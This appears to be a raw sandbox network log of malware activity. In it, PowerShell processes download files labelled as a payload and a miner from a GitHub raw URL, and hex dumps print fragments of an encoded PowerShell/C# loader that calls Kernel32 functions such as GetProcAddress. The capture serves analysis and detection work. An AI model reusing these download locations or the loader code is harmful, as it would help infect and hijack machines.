2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 2c 35 2c 30 2c 32 30 2c 31 31 34 2c 37 37 2c 31 32 2c 30 2c 31 31 32 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 35 34 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 35 34 2c 34 30 2c 35 32 2c 30 2c 30 2c 31 30 2c 34 30 2c 35 36 2c 30 2c 30 2c 36 2c 31 36 32 2c 31 36 32 2c 32 30 2c 32 30 2c 32 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 34 30 2c 31 31 37 2c 30 2c 30 2c 31 30 2c 33 38 2c 32 32 31 2c 35 35 2c 33 2c 30 2c 30 2c Data Ascii: ,5,0,20,114,77,12,0,112,32,2,0,0,0,141,1,0,0,1,37,32,1,0,0,0,32,2,0,0,0,141,1,0,0,1,37,32,0,0,0,0,126,48,0,0,4,32,2,0,0,0,154,162,37,32,1,0,0,0,126,48,0,0,4,32,3,0,0,0,154,40,52,0,0,10,40,56,0,0,6,162,162,20,20,20,32,1,0,0,0,40,117,0,0,10,38,221,55,3,0,0,
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 32 34 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 31 30 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 34 30 2c 37 38 2c 30 2c 30 2c 31 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 37 2c 34 32 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 33 2c 30 2c 32 30 2c 31 31 34 2c 31 32 2c 31 35 2c 30 2c 31 31 32 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 32 30 2c 32 30 2c 32 30 2c 34 30 2c 31 36 35 2c 30 2c 30 2c 31 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 35 36 2c 33 37 2c 30 2c 30 Data Ascii: ,0,254,12,1,0,40,21,1,0,10,58,24,0,0,0,254,12,2,0,40,21,1,0,10,58,10,0,0,0,32,0,0,0,0,56,5,0,0,0,32,1,0,0,0,140,78,0,0,1,40,21,1,0,10,57,42,0,0,0,254,12,3,0,20,114,12,15,0,112,32,0,0,0,0,141,1,0,0,1,20,20,20,40,165,0,0,10,40,70,0,0,10,254,14,3,0,56,37,0,0
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 31 2c 31 36 39 2c 32 2c 32 32 35 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 33 33 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 34 31 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 34 39 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 31 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 39 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 31 37 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 35 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 33 33 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 34 31 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 34 39 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 35 37 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 36 35 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 37 33 2c 31 2c 38 31 2c 32 31 2c 31 32 32 2c 33 2c 38 39 2c 31 2c 38 31 2c 32 31 Data Ascii: 1,169,2,225,0,81,21,184,2,233,0,81,21,184,2,241,0,81,21,184,2,249,0,81,21,184,2,1,1,81,21,184,2,9,1,81,21,184,2,17,1,81,21,184,2,25,1,81,21,184,2,33,1,81,21,184,2,41,1,81,21,184,2,49,1,81,21,34,0,57,1,81,21,34,0,65,1,81,21,34,0,73,1,81,21,122,3,89,1,81,21

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	51655	185.199.109.133	443	7692	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:30 UTC	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:24:31 UTC	901	IN	HTTP/1.1 200 OK Connection: close Content-Length: 159293 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "80ad5dac8b21f93f5913af03c53e98e879731d41370452cf941cf04d26ae655d" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 3E58:16D6:EF199A:10A43C8:66E869CE Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740020-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726507471.880094,VS0,VE82 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 6afe2134bb769623063b403b335a6eb1fd9b8ada Expires: Mon, 16 Sep 2024 17:29:30 GMT Source-Age: 0
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	51652	185.199.109.133	443	7708	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:30 UTC	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:24:31 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18622545 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "7212ed35f7de22eefebda6e2e6a140882d785593e9f94a152721678af4a1b44c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 6E0F:35A178:D4081:E7F9A:66E869CE Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890020-NYC X-Cache: HIT X-Cache-Hits: 0 X-Timer: S1726507471.886389,VS0,VE100 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 43d53a615aa561af26db0d30546b35fe69da22da Expires: Mon, 16 Sep 2024 17:29:30 GMT Source-Age: 0
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
